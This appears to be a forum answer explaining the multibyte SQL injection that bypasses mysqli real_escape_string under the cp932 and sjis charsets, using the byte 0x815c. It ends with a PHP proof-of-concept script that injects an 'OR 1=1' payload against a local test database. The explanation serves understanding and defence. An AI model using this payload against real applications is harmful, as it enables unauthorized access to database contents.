How to create a SQL injection attack with Shift-JIS and CP932?
The devil is in the details ... let's start with how answer in question describes the list of vulnerable character sets:
For this attack to work, we need the encoding that the server's expecting on the connection both to encode
'
as in ASCII i.e.0x27
and to have some character whose final byte is an ASCII\
i.e.0x5c
. As it turns out, there are 5 such encodings supported in MySQL 5.6 by default:big5
,cp932
,gb2312
,gbk
andsjis
. We'll selectgbk
here.
This gives us some context - 0xbf5c
is used as an example for gbk
, not as the universal character to use for all of the 5 character sets.
It just so happens that the same byte sequence is also a valid character under big5
and gb2312
.
At this point, your question becomes as easy as this:
Which byte sequence is a valid character under
cp932
andsjis
and ends in0x5c
?
To be fair, most of the google searches I tried for these character sets don't give any useful results. But I did find this CP932.TXT file, in which if you search for '5c '
(with the space there), you'll jump to this line:
0x815C 0x2015 #HORIZONTAL BAR
And we have a winner! :)
Some Oracle document confirms that 0x815c
is the same character for both cp932
and sjis
and PHP recognizes it too:
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));int(1)int(1)
Here's a PoC script for the attack:
<?php$username = 'username';$password = 'password';$mysqli = new mysqli('localhost', $username, $password);foreach (array('cp932', 'sjis') as $charset){ $mysqli->query("SET NAMES {$charset}"); $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}"); $mysqli->query("USE {$charset}_db"); $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)"); $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')"); $input = "\x81\x27 OR 1=1 #"; $input = $mysqli->real_escape_string($input); $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1"; $result = $mysqli->query($query); if ($result->num_rows > 1) { echo "{$charset} exploit successful!\n"; } $mysqli->query("DROP DATABASE {$charset}_db");}